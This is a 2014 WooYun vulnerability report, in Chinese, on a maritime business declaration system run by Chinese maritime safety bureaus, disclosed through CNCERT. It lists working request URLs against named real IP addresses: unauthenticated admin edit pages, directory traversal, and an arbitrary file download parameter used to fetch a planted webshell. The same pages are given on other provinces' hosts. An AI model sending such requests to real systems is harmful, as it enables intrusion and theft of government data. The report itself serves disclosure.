漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-074679
漏洞标题：某省海事局通用型海事业务申报系统漏洞已getshell
相关厂商：广西海事局
漏洞作者： 绿枫
提交时间：2014-09-02 21:34
修复时间：2014-10-17 21:36
公开时间：2014-10-17 21:36
漏洞类型：成功的入侵事件
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-02： 细节已通知厂商并且等待厂商处理中
2014-09-07： 厂商已经确认，细节仅向厂商公开
2014-09-17： 细节向核心白帽子及相关领域专家公开
2014-09-27： 细节向普通白帽子公开
2014-10-07： 细节向实习白帽子公开
2014-10-17： 细节向公众公开
简要描述：
系统存在用户帐户验证不严，任意下载，目录遍历。。唉！漏洞好多，木马也很多！！
详细说明：
1、网址：http://219.159.69.132/
2、用户账号验证不严，可以直接访问编辑页。
http://219.159.69.132/sys/jigouzhanghu_add.aspx 修改机构信息
http://219.159.69.132/sys/xitongzhanghu_edit.aspx 修改管理员资料
3、目录遍历
图中可以看到一个木马
4、任意文件下载
http://219.159.69.132/childpage/showfile.aspx?filepath=F:\\DeclareWeb\\WebFile\\UploadData\Downloads\2009841447312037.doc
把文件路径修改即可下载文件，如下载上图中的木马：
http://219.159.69.132/childpage/showfile.aspx?filepath=F:\\DeclareWeb\\WebFile\\images\img2\cbtntypbg.aspx
5、网站中很多木马，服务器的权限也很大，3389也开了。
权限好大，脱库，内网漫游什么的我就不说了，你们懂的。
6、其他省份也有使用相同系统的，经过测试，只发现有上述第2种情况，即账户验证不严，可直接访问编辑页，其他情况没有深入研究。
天津海事局：
http://60.30.247.222/sys/jigouzhanghu_add.aspx
深圳海事局：
http://219.133.95.115/DS/sys/jigouzhanghu_add.aspx
漏洞证明：
同上。
修复方案：
增强安全意识吧
版权声明：转载请注明来源 绿枫@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：18
确认时间：2014-09-07 09:27
厂商回复：
最新状态：
暂无